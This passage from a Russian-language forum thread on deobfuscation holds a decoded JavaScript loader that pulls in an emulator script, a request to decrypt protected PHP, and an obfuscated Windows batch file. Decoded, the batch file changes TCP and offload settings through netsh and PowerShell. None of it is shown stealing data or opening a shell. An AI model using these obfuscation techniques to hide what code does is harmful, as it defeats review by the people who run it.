                environment.TUVEif = true;
            }
            var _0x134abe = environment.rblEyx[input_var1];
            if(_0x134abe === undefined) {
                if(environment.mihUMw === undefined) {
                    environment.mihUMw = true;
                }
                result = environment.decrypt(result, input_var2);
                environment.rblEyx[input_var1] = result;
            } else {
                result = _0x134abe;
            }
            return result;
        };
    
        var loader = function(_0x1c6dbd) {
            var local_Object = {};
    
            function _0x574aa9(input) {
                if(local_Object[input])
                    return local_Object[input].exports;
    
                var _0x407e93 = local_Object[input] = {
                    'i': input,
                    'l': false,
                    'exports': {}
                };
                return _0x1c6dbd[input]call(_0x407e93[exports], _0x407e93, _0x407e93[exports], _0x574aa9), _0x407e93.l = true, _0x407e93[exports];
            }
    
            return
            _0x574aa9.m = _0x1c6dbd,
            _0x574aa9.c = local_Object,
            _0x574aa9.d = function(input_object, property_name, property_value) {
                _0x574aa9.o(input_object, property_name) || Object.defineProperty(input_object, property_name, {
                        'enumerable': true,
                        'get': property_value
                    });
                },
            _0x574aa9.r = function(input_object) {
                    'undefined' != typeof Symbol && Symbol.toStringTag && Object.defineProperty(input_object, "Symbol.toStringTag", {
                        'value': Module
                    }), Object.defineProperty(input_object, "__esModule", {
                        'value': true
                    });
                },
            _0x574aa9.t = function(_0xbff678, _0xc9bb87) {
                    if(0x1 & _0xc9bb87 && (_0xbff678 = _0x574aa9(_0xbff678)), 0x8 & _0xc9bb87)
                        return _0xbff678;
                    if(0x4 & _0xc9bb87 && "object" == typeof _0xbff678 && _0xbff678 && _0xbff678.__esModule
                        return _0xbff678;
    
                    var new_local_object = Object.create(null);
                    if(_0x574aa9.r(new_local_object), Object.defineProperty(new_local_object, "default", {
                            'enumerable': true,
                            'value': _0xbff678
                        }), 0x2 & _0xc9bb87 && 'string' != typeof _0xbff678)
                        for(var _0x3a20dc in _0xbff678)
                            _0x574aa9.d(new_local_object, _0x3a20dc, function(_0x50b830) {
                                return _0xbff678[_0x50b830];
                            }.bind(null, _0x3a20dc));
                    return new_local_object;
                },
            _0x574aa9.n = function(_0x3c77db) {
                    var _0x385c7f = _0x3c77db && _0x3c77db.__esModule ? function() {
                        return _0x3c77db.default;
                    } : function() {
                        return _0x3c77db;
                    };
                    return _0x574aa9.d(_0x385c7f, 'a', _0x385c7f), _0x385c7f;
                },
            _0x574aa9.o = function(input_object, property_name) {
                    return Object.prototype.hasOwnProperty.call(input_object, property_name);
                },
            _0x574aa9.p = '',
            _0x574aa9(_0x574aa9.s = 393);
        }({
            393: function(input_object, _0xc85b71) {
                var document, script, url_script, emulator_script, first_script;
                window,
                document = document,
                script = 'script',
                url_script = ["//ww", "w.emul", "ato", "rjs", ".co", "m/em", "ula", 'tor.j', "s?v=", "1022"].join(''), // url_script = "//www.emulatorjs.com/emulator.js?v=1022"
                emulator_script = document.createElement(script),
                first_script = document.getElementsByTagName(script)[0],
                emulator_script.async = true,
                emulator_script.src = url_script,
                first_script.parentNode.insertBefore(emulator_script, first_script),
                emulator_script.onload = function() {
                    var input_object = {};
                    input_object.gameUrl = EJS_gameUrl,
                    "undefined" != typeof EJS_biosUrl && (input_object.biosUrl = EJS_biosUrl),
                    "undefined" != typeof EJS_gameID && (input_object.gameId = EJS_gameID),
                    'undefined' != typeof EJS_gameParentUrl && (input_object.gameParentUrl = EJS_gameParentUrl),
                    "undefined" != typeof EJS_gamePatchUrl && (input_object.gamePatchUrl = EJS_gamePatchUrl),
                    input_object.system = EJS_core,
                    input_object.onsavestate = null,
                    input_object.onloadstate = null,
                    "undefined" != typeof EJS_onSaveState && (input_object.onsavestate = EJS_onSaveState),
                    "undefined" != typeof EJS_onLoadState && (input_object.onloadstate = EJS_onLoadState),
                    "undefined" != typeof EJS_lightgun && (input_object.lightgun = EJS_lightgun),
                    'undefined' != typeof EJS_mouse && (input_object.mouse = EJS_mouse),
                    "undefined" != typeof EJS_multitap && (input_object.multitap = EJS_multitap),
                    "undefined" != typeof EJS_playerName && (input_object.playerName = EJS_playerName),
                    window.EJS_emulator = new EJS(EJS_player, input_object),
                    "undefined" != typeof EJS_onGameStart && EJS_emulator.on("start-game", EJS_onGameStart);
                };
            }
        }).default;
    В конце концов подгружется новый JS-скрипт с https://www.emulatorjs.com/emulator.js?v=1022 , вставляется в DOM документа перед первым скриптом и выполняется с заданными параметрами.
    Первый массив зашифрован с RC4, функция _0x4d3f34 дешифрирует его, но сначала функция _0x3b1ac3 ротирует элементы массива, иначе выйдет чушь.
    Подгруженый скрипт тоже так же обфусцирован и зашифрован.
     
    quite gray likes this.
  15. Ivan80

    Ivan80 New Member

    Joined:
    20 Jul 2020
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Уважаемые знатоки, есть часть проекта с зашифрованным кодом на php. Туда нужно внести изменения, а для этого требуется расшифровать существующий. Может кто нибудь помочь с этим?
    В качестве примера - содержимое одного из php файлов проекта.

    https://drive.google.com/file/d/1KAM07-1UXJOpEqsjvayy8DOo-a61wSeF/view?usp=sharing
     
  16. amick

    amick New Member

    Joined:
    22 Jul 2020
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Приветствую, хацкеры. С деобфускацией столкнулся недавно, и тут мне попался один бат файл, который зашифрован вроде легко, но у меня постоянно ошибки.. Помогите пожалуйста c:
    Code:
    @shift /0
    @echo off
    Set aaje=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
    cls
    @%aaje:~40,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~24,1%%aaje:~15,1%%aaje:~15,1%
    %aaje:~29,1%%aaje:~18,1%%aaje:~29,1%%aaje:~21,1%%aaje:~14,1% %aaje:~53,1%%aaje:~24,1%%aaje:~34,1%%aaje:~36,1%%aaje:~47,1%%aaje:~48,1%%aaje:~14,1%%aaje:~29,1%%aaje:~17,1%%aaje:~24,1%%aaje:~13,1% %aaje:~57,1%.%aaje:~1,1%
    %aaje:~12,1%%aaje:~24,1%%aaje:~21,1%%aaje:~24,1%%aaje:~27,1% %aaje:~0,1%%aaje:~13,1%
    %aaje:~38,1%%aaje:~47,1%%aaje:~54,1%
    %aaje:~40,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~40,1%%aaje:~38,1%%aaje:~43,1%%aaje:~50,1% ######                  #    #          #     #                                   
    %aaje:~40,1%%aaje:~38,1%%aaje:~43,1%%aaje:~50,1% #     #  ####  #   #   # #   #          ##   ## ###### ##### #    #  ####  ##### 
    %aaje:~40,1%%aaje:~38,1%%aaje:~43,1%%aaje:~50,1% #     # #    #  # #   #   #  #          # # # # #        #   #    # #    # #    #
    %aaje:~40,1%%aaje:~38,1%%aaje:~43,1%%aaje:~50,1% ######  #    #   #   #     # #          #  #  # #####    #   ###### #    # #    #
    %aaje:~40,1%%aaje:~38,1%%aaje:~43,1%%aaje:~50,1% #   #   #    #   #   ####### #          #     # #        #   #    # #    # #    #
    %aaje:~40,1%%aaje:~38,1%%aaje:~43,1%%aaje:~50,1% #    #  #    #   #   #     # #          #     # #        #   #    # #    # #    #
    %aaje:~40,1%%aaje:~38,1%%aaje:~43,1%%aaje:~50,1% #     #  ####    #   #     # #######    #     # ######   #   #    #  ####  ##### 
    %aaje:~40,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~40,1%%aaje:~38,1%%aaje:~43,1%%aaje:~50,1% --------
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~57,1%%aaje:~14,1%%aaje:~27,1%%aaje:~28,1%%aaje:~18,1%%aaje:~24,1%%aaje:~23,1% %aaje:~1,1%.%aaje:~0,1%
    %aaje:~40,1%%aaje:~38,1%%aaje:~43,1%%aaje:~50,1% --------
    %aaje:~25,1%%aaje:~10,1%%aaje:~30,1%%aaje:~28,1%%aaje:~14,1%
    %aaje:~38,1%%aaje:~47,1%%aaje:~54,1%
    
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~12,1%%aaje:~21,1%%aaje:~28,1%
    %aaje:~12,1%%aaje:~24,1%%aaje:~21,1%%aaje:~24,1%%aaje:~27,1% %aaje:~14,1%%aaje:~0,1%
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~44,1%%aaje:~49,1%%aaje:~54,1%%aaje:~55,1%%aaje:~36,1%%aaje:~47,1%%aaje:~47,1%%aaje:~36,1%%aaje:~55,1%%aaje:~44,1%%aaje:~50,1%%aaje:~49,1% ...
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~51,1%%aaje:~27,1%%aaje:~24,1%%aaje:~16,1%%aaje:~27,1%%aaje:~14,1%%aaje:~28,1%%aaje:~28,1%: 께께께께께?           
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
    %aaje:~29,1%%aaje:~18,1%%aaje:~22,1%%aaje:~14,1%%aaje:~24,1%%aaje:~30,1%%aaje:~29,1% /%aaje:~29,1% %aaje:~1,1% /%aaje:~49,1%%aaje:~50,1%%aaje:~37,1%%aaje:~53,1%%aaje:~40,1%%aaje:~36,1%%aaje:~46,1% >%aaje:~49,1%%aaje:~56,1%
    %aaje:~12,1%%aaje:~21,1%%aaje:~28,1%
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~44,1%%aaje:~49,1%%aaje:~54,1%%aaje:~55,1%%aaje:~36,1%%aaje:~47,1%%aaje:~47,1%%aaje:~44,1%%aaje:~49,1%%aaje:~42,1%...
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~51,1%%aaje:~27,1%%aaje:~24,1%%aaje:~16,1%%aaje:~27,1%%aaje:~14,1%%aaje:~28,1%%aaje:~28,1%: 께께께께께께께께께께께
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
    %aaje:~29,1%%aaje:~18,1%%aaje:~22,1%%aaje:~14,1%%aaje:~24,1%%aaje:~30,1%%aaje:~29,1% /%aaje:~29,1% %aaje:~1,1% /%aaje:~49,1%%aaje:~50,1%%aaje:~37,1%%aaje:~53,1%%aaje:~40,1%%aaje:~36,1%%aaje:~46,1% >%aaje:~49,1%%aaje:~56,1%
    %aaje:~12,1%%aaje:~21,1%%aaje:~28,1%
    %aaje:~51,1%%aaje:~24,1%%aaje:~32,1%%aaje:~14,1%%aaje:~27,1%%aaje:~28,1%%aaje:~17,1%%aaje:~14,1%%aaje:~21,1%%aaje:~21,1%.%aaje:~14,1%%aaje:~33,1%%aaje:~14,1% %aaje:~54,1%%aaje:~14,1%%aaje:~29,1%-%aaje:~49,1%%aaje:~14,1%%aaje:~29,1%%aaje:~55,1%%aaje:~38,1%%aaje:~51,1%%aaje:~54,1%%aaje:~14,1%%aaje:~29,1%%aaje:~29,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1% -%aaje:~54,1%%aaje:~14,1%%aaje:~29,1%%aaje:~29,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1%%aaje:~49,1%%aaje:~10,1%%aaje:~22,1%%aaje:~14,1% %aaje:~44,1%%aaje:~23,1%%aaje:~29,1%%aaje:~14,1%%aaje:~27,1%%aaje:~23,1%%aaje:~14,1%%aaje:~29,1% -%aaje:~36,1%%aaje:~30,1%%aaje:~29,1%%aaje:~24,1%%aaje:~55,1%%aaje:~30,1%%aaje:~23,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1%%aaje:~47,1%%aaje:~14,1%%aaje:~31,1%%aaje:~14,1%%aaje:~21,1%%aaje:~47,1%%aaje:~24,1%%aaje:~12,1%%aaje:~10,1%%aaje:~21,1% %aaje:~39,1%%aaje:~18,1%%aaje:~28,1%%aaje:~10,1%%aaje:~11,1%%aaje:~21,1%%aaje:~14,1%%aaje:~13,1%
    %aaje:~51,1%%aaje:~24,1%%aaje:~32,1%%aaje:~14,1%%aaje:~27,1%%aaje:~28,1%%aaje:~17,1%%aaje:~14,1%%aaje:~21,1%%aaje:~21,1%.%aaje:~14,1%%aaje:~33,1%%aaje:~14,1% %aaje:~54,1%%aaje:~14,1%%aaje:~29,1%-%aaje:~49,1%%aaje:~14,1%%aaje:~29,1%%aaje:~55,1%%aaje:~38,1%%aaje:~51,1%%aaje:~54,1%%aaje:~14,1%%aaje:~29,1%%aaje:~29,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1% -%aaje:~54,1%%aaje:~14,1%%aaje:~29,1%%aaje:~29,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1%%aaje:~49,1%%aaje:~10,1%%aaje:~22,1%%aaje:~14,1% %aaje:~44,1%%aaje:~23,1%%aaje:~29,1%%aaje:~14,1%%aaje:~27,1%%aaje:~23,1%%aaje:~14,1%%aaje:~29,1% -%aaje:~48,1%%aaje:~10,1%%aaje:~33,1%%aaje:~54,1%%aaje:~34,1%%aaje:~23,1%%aaje:~53,1%%aaje:~14,1%%aaje:~29,1%%aaje:~27,1%%aaje:~10,1%%aaje:~23,1%%aaje:~28,1%%aaje:~22,1%%aaje:~18,1%%aaje:~28,1%%aaje:~28,1%%aaje:~18,1%%aaje:~24,1%%aaje:~23,1% %aaje:~2,1%
    %aaje:~51,1%%aaje:~24,1%%aaje:~32,1%%aaje:~14,1%%aaje:~27,1%%aaje:~28,1%%aaje:~17,1%%aaje:~14,1%%aaje:~21,1%%aaje:~21,1%.%aaje:~14,1%%aaje:~33,1%%aaje:~14,1% %aaje:~54,1%%aaje:~14,1%%aaje:~29,1%-%aaje:~49,1%%aaje:~14,1%%aaje:~29,1%%aaje:~55,1%%aaje:~38,1%%aaje:~51,1%%aaje:~54,1%%aaje:~14,1%%aaje:~29,1%%aaje:~29,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1% -%aaje:~54,1%%aaje:~14,1%%aaje:~29,1%%aaje:~29,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1%%aaje:~49,1%%aaje:~10,1%%aaje:~22,1%%aaje:~14,1% %aaje:~44,1%%aaje:~23,1%%aaje:~29,1%%aaje:~14,1%%aaje:~27,1%%aaje:~23,1%%aaje:~14,1%%aaje:~29,1% -%aaje:~40,1%%aaje:~12,1%%aaje:~23,1%%aaje:~38,1%%aaje:~10,1%%aaje:~25,1%%aaje:~10,1%%aaje:~11,1%%aaje:~18,1%%aaje:~21,1%%aaje:~18,1%%aaje:~29,1%%aaje:~34,1% %aaje:~39,1%%aaje:~18,1%%aaje:~28,1%%aaje:~10,1%%aaje:~11,1%%aaje:~21,1%%aaje:~14,1%%aaje:~13,1%
    %aaje:~51,1%%aaje:~24,1%%aaje:~32,1%%aaje:~14,1%%aaje:~27,1%%aaje:~28,1%%aaje:~17,1%%aaje:~14,1%%aaje:~21,1%%aaje:~21,1%.%aaje:~14,1%%aaje:~33,1%%aaje:~14,1% %aaje:~54,1%%aaje:~14,1%%aaje:~29,1%-%aaje:~49,1%%aaje:~14,1%%aaje:~29,1%%aaje:~55,1%%aaje:~38,1%%aaje:~51,1%%aaje:~54,1%%aaje:~14,1%%aaje:~29,1%%aaje:~29,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1% -%aaje:~54,1%%aaje:~14,1%%aaje:~29,1%%aaje:~29,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1%%aaje:~49,1%%aaje:~10,1%%aaje:~22,1%%aaje:~14,1% %aaje:~44,1%%aaje:~23,1%%aaje:~29,1%%aaje:~14,1%%aaje:~27,1%%aaje:~23,1%%aaje:~14,1%%aaje:~29,1% -%aaje:~49,1%%aaje:~24,1%%aaje:~23,1%%aaje:~54,1%%aaje:~10,1%%aaje:~12,1%%aaje:~20,1%%aaje:~53,1%%aaje:~29,1%%aaje:~29,1%%aaje:~53,1%%aaje:~14,1%%aaje:~28,1%%aaje:~18,1%%aaje:~21,1%%aaje:~18,1%%aaje:~14,1%%aaje:~23,1%%aaje:~12,1%%aaje:~34,1% %aaje:~39,1%%aaje:~18,1%%aaje:~28,1%%aaje:~10,1%%aaje:~11,1%%aaje:~21,1%%aaje:~14,1%%aaje:~13,1%
    %aaje:~51,1%%aaje:~24,1%%aaje:~32,1%%aaje:~14,1%%aaje:~27,1%%aaje:~28,1%%aaje:~17,1%%aaje:~14,1%%aaje:~21,1%%aaje:~21,1%.%aaje:~14,1%%aaje:~33,1%%aaje:~14,1% %aaje:~54,1%%aaje:~14,1%%aaje:~29,1%-%aaje:~49,1%%aaje:~14,1%%aaje:~29,1%%aaje:~55,1%%aaje:~38,1%%aaje:~51,1%%aaje:~54,1%%aaje:~14,1%%aaje:~29,1%%aaje:~29,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1% -%aaje:~54,1%%aaje:~14,1%%aaje:~29,1%%aaje:~29,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1%%aaje:~49,1%%aaje:~10,1%%aaje:~22,1%%aaje:~14,1% %aaje:~44,1%%aaje:~23,1%%aaje:~29,1%%aaje:~14,1%%aaje:~27,1%%aaje:~23,1%%aaje:~14,1%%aaje:~29,1% -%aaje:~54,1%%aaje:~12,1%%aaje:~10,1%%aaje:~21,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1%%aaje:~43,1%%aaje:~14,1%%aaje:~30,1%%aaje:~27,1%%aaje:~18,1%%aaje:~28,1%%aaje:~29,1%%aaje:~18,1%%aaje:~12,1% %aaje:~39,1%%aaje:~18,1%%aaje:~28,1%%aaje:~10,1%%aaje:~11,1%%aaje:~21,1%%aaje:~14,1%%aaje:~13,1%
    %aaje:~12,1%%aaje:~21,1%%aaje:~28,1%
    %aaje:~12,1%%aaje:~24,1%%aaje:~21,1%%aaje:~24,1%%aaje:~27,1% %aaje:~10,1%%aaje:~0,1%
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~44,1%%aaje:~49,1%%aaje:~54,1%%aaje:~55,1%%aaje:~36,1%%aaje:~47,1%%aaje:~47,1%%aaje:~44,1%%aaje:~49,1%%aaje:~42,1%...
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~51,1%%aaje:~27,1%%aaje:~24,1%%aaje:~16,1%%aaje:~27,1%%aaje:~14,1%%aaje:~28,1%%aaje:~28,1%: 께께께께께?           
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
    %aaje:~29,1%%aaje:~18,1%%aaje:~22,1%%aaje:~14,1%%aaje:~24,1%%aaje:~30,1%%aaje:~29,1% /%aaje:~29,1% %aaje:~1,1% /%aaje:~49,1%%aaje:~50,1%%aaje:~37,1%%aaje:~53,1%%aaje:~40,1%%aaje:~36,1%%aaje:~46,1% >%aaje:~49,1%%aaje:~56,1%
    %aaje:~12,1%%aaje:~21,1%%aaje:~28,1%
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~44,1%%aaje:~49,1%%aaje:~54,1%%aaje:~55,1%%aaje:~36,1%%aaje:~47,1%%aaje:~47,1%%aaje:~44,1%%aaje:~49,1%%aaje:~42,1%...
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~51,1%%aaje:~27,1%%aaje:~24,1%%aaje:~16,1%%aaje:~27,1%%aaje:~14,1%%aaje:~28,1%%aaje:~28,1%: 께께께께께께께께께께께
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
    %aaje:~29,1%%aaje:~18,1%%aaje:~22,1%%aaje:~14,1%%aaje:~24,1%%aaje:~30,1%%aaje:~29,1% /%aaje:~29,1% %aaje:~1,1% /%aaje:~49,1%%aaje:~50,1%%aaje:~37,1%%aaje:~53,1%%aaje:~40,1%%aaje:~36,1%%aaje:~46,1% >%aaje:~49,1%%aaje:~56,1%
    %aaje:~12,1%%aaje:~21,1%%aaje:~28,1%
    %aaje:~23,1%%aaje:~14,1%%aaje:~29,1%%aaje:~28,1%%aaje:~17,1% %aaje:~18,1%%aaje:~23,1%%aaje:~29,1% %aaje:~29,1%%aaje:~12,1%%aaje:~25,1% %aaje:~28,1%%aaje:~14,1%%aaje:~29,1% %aaje:~16,1%%aaje:~21,1%%aaje:~24,1%%aaje:~11,1%%aaje:~10,1%%aaje:~21,1% %aaje:~27,1%%aaje:~28,1%%aaje:~28,1%=%aaje:~14,1%%aaje:~23,1%%aaje:~10,1%%aaje:~11,1%%aaje:~21,1%%aaje:~14,1%%aaje:~13,1%
    %aaje:~23,1%%aaje:~14,1%%aaje:~29,1%%aaje:~28,1%%aaje:~17,1% %aaje:~18,1%%aaje:~23,1%%aaje:~29,1% %aaje:~29,1%%aaje:~12,1%%aaje:~25,1% %aaje:~28,1%%aaje:~14,1%%aaje:~29,1% %aaje:~16,1%%aaje:~21,1%%aaje:~24,1%%aaje:~11,1%%aaje:~10,1%%aaje:~21,1% %aaje:~13,1%%aaje:~12,1%%aaje:~10,1%=%aaje:~14,1%%aaje:~23,1%%aaje:~10,1%%aaje:~11,1%%aaje:~21,1%%aaje:~14,1%%aaje:~13,1%
    %aaje:~23,1%%aaje:~14,1%%aaje:~29,1%%aaje:~28,1%%aaje:~17,1% %aaje:~18,1%%aaje:~23,1%%aaje:~29,1% %aaje:~29,1%%aaje:~12,1%%aaje:~25,1% %aaje:~28,1%%aaje:~14,1%%aaje:~29,1% %aaje:~28,1%%aaje:~30,1%%aaje:~25,1%%aaje:~25,1%%aaje:~21,1%%aaje:~14,1%%aaje:~22,1%%aaje:~14,1%%aaje:~23,1%%aaje:~29,1%%aaje:~10,1%%aaje:~21,1% %aaje:~18,1%%aaje:~23,1%%aaje:~29,1%%aaje:~14,1%%aaje:~27,1%%aaje:~23,1%%aaje:~14,1%%aaje:~29,1% %aaje:~12,1%%aaje:~24,1%%aaje:~23,1%%aaje:~16,1%%aaje:~14,1%%aaje:~28,1%%aaje:~29,1%%aaje:~18,1%%aaje:~24,1%%aaje:~23,1%%aaje:~25,1%%aaje:~27,1%%aaje:~24,1%%aaje:~31,1%%aaje:~18,1%%aaje:~13,1%%aaje:~14,1%%aaje:~27,1%=%aaje:~12,1%%aaje:~29,1%%aaje:~12,1%%aaje:~25,1%
    %aaje:~12,1%%aaje:~21,1%%aaje:~28,1%
    %aaje:~12,1%%aaje:~24,1%%aaje:~21,1%%aaje:~24,1%%aaje:~27,1% %aaje:~12,1%%aaje:~0,1%
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~44,1%%aaje:~49,1%%aaje:~54,1%%aaje:~55,1%%aaje:~36,1%%aaje:~47,1%%aaje:~47,1%%aaje:~44,1%%aaje:~49,1%%aaje:~42,1%...
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~51,1%%aaje:~27,1%%aaje:~24,1%%aaje:~16,1%%aaje:~27,1%%aaje:~14,1%%aaje:~28,1%%aaje:~28,1%: 께께께께께?           
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
    %aaje:~29,1%%aaje:~18,1%%aaje:~22,1%%aaje:~14,1%%aaje:~24,1%%aaje:~30,1%%aaje:~29,1% /%aaje:~29,1% %aaje:~1,1% /%aaje:~49,1%%aaje:~50,1%%aaje:~37,1%%aaje:~53,1%%aaje:~40,1%%aaje:~36,1%%aaje:~46,1% >%aaje:~49,1%%aaje:~56,1%
    %aaje:~12,1%%aaje:~21,1%%aaje:~28,1%
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~44,1%%aaje:~49,1%%aaje:~54,1%%aaje:~55,1%%aaje:~36,1%%aaje:~47,1%%aaje:~47,1%%aaje:~44,1%%aaje:~49,1%%aaje:~42,1%...
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~51,1%%aaje:~27,1%%aaje:~24,1%%aaje:~16,1%%aaje:~27,1%%aaje:~14,1%%aaje:~28,1%%aaje:~28,1%: 께께께께께께께께께께께
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
    %aaje:~29,1%%aaje:~18,1%%aaje:~22,1%%aaje:~14,1%%aaje:~24,1%%aaje:~30,1%%aaje:~29,1% /%aaje:~29,1% %aaje:~1,1% /%aaje:~49,1%%aaje:~50,1%%aaje:~37,1%%aaje:~53,1%%aaje:~40,1%%aaje:~36,1%%aaje:~46,1% >%aaje:~49,1%%aaje:~56,1%
    %aaje:~12,1%%aaje:~21,1%%aaje:~28,1%
    %aaje:~51,1%%aaje:~24,1%%aaje:~32,1%%aaje:~14,1%%aaje:~27,1%%aaje:~28,1%%aaje:~17,1%%aaje:~14,1%%aaje:~21,1%%aaje:~21,1%.%aaje:~14,1%%aaje:~33,1%%aaje:~14,1% %aaje:~42,1%%aaje:~14,1%%aaje:~29,1%-%aaje:~49,1%%aaje:~14,1%%aaje:~29,1%%aaje:~50,1%%aaje:~15,1%%aaje:~15,1%%aaje:~21,1%%aaje:~24,1%%aaje:~10,1%%aaje:~13,1%%aaje:~42,1%%aaje:~21,1%%aaje:~24,1%%aaje:~11,1%%aaje:~10,1%%aaje:~21,1%%aaje:~54,1%%aaje:~14,1%%aaje:~29,1%%aaje:~29,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1%
    %aaje:~12,1%%aaje:~21,1%%aaje:~28,1%
    %aaje:~51,1%%aaje:~24,1%%aaje:~32,1%%aaje:~14,1%%aaje:~27,1%%aaje:~28,1%%aaje:~17,1%%aaje:~14,1%%aaje:~21,1%%aaje:~21,1%.%aaje:~14,1%%aaje:~33,1%%aaje:~14,1% %aaje:~54,1%%aaje:~14,1%%aaje:~29,1%-%aaje:~49,1%%aaje:~14,1%%aaje:~29,1%%aaje:~50,1%%aaje:~15,1%%aaje:~15,1%%aaje:~21,1%%aaje:~24,1%%aaje:~10,1%%aaje:~13,1%%aaje:~42,1%%aaje:~21,1%%aaje:~24,1%%aaje:~11,1%%aaje:~10,1%%aaje:~21,1%%aaje:~54,1%%aaje:~14,1%%aaje:~29,1%%aaje:~29,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1% -%aaje:~38,1%%aaje:~17,1%%aaje:~18,1%%aaje:~22,1%%aaje:~23,1%%aaje:~14,1%%aaje:~34,1% %aaje:~39,1%%aaje:~18,1%%aaje:~28,1%%aaje:~10,1%%aaje:~11,1%%aaje:~21,1%%aaje:~14,1%
    %aaje:~12,1%%aaje:~21,1%%aaje:~28,1%
    %aaje:~51,1%%aaje:~24,1%%aaje:~32,1%%aaje:~14,1%%aaje:~27,1%%aaje:~28,1%%aaje:~17,1%%aaje:~14,1%%aaje:~21,1%%aaje:~21,1%.%aaje:~14,1%%aaje:~33,1%%aaje:~14,1% %aaje:~42,1%%aaje:~14,1%%aaje:~29,1%-%aaje:~49,1%%aaje:~14,1%%aaje:~29,1%%aaje:~55,1%%aaje:~38,1%%aaje:~51,1%%aaje:~54,1%%aaje:~14,1%%aaje:~29,1%%aaje:~29,1%%aaje:~18,1%%aaje:~23,1%%aaje:~16,1%
    %aaje:~12,1%%aaje:~21,1%%aaje:~28,1%
    %aaje:~12,1%%aaje:~24,1%%aaje:~21,1%%aaje:~24,1%%aaje:~27,1% %aaje:~13,1%%aaje:~0,1%
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1%.
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% %aaje:~44,1%%aaje:~49,1%%aaje:~54,1%%aaje:~55,1%%aaje:~36,1%%aaje:~47,1%%aaje:~47,1%%aaje:~44,1%%aaje:~49,1%%aaje:~42,1%...
    %aaje:~14,1%%aaje:~12,1%%aaje:~17,1%%aaje:~24,1% ----------------------------------
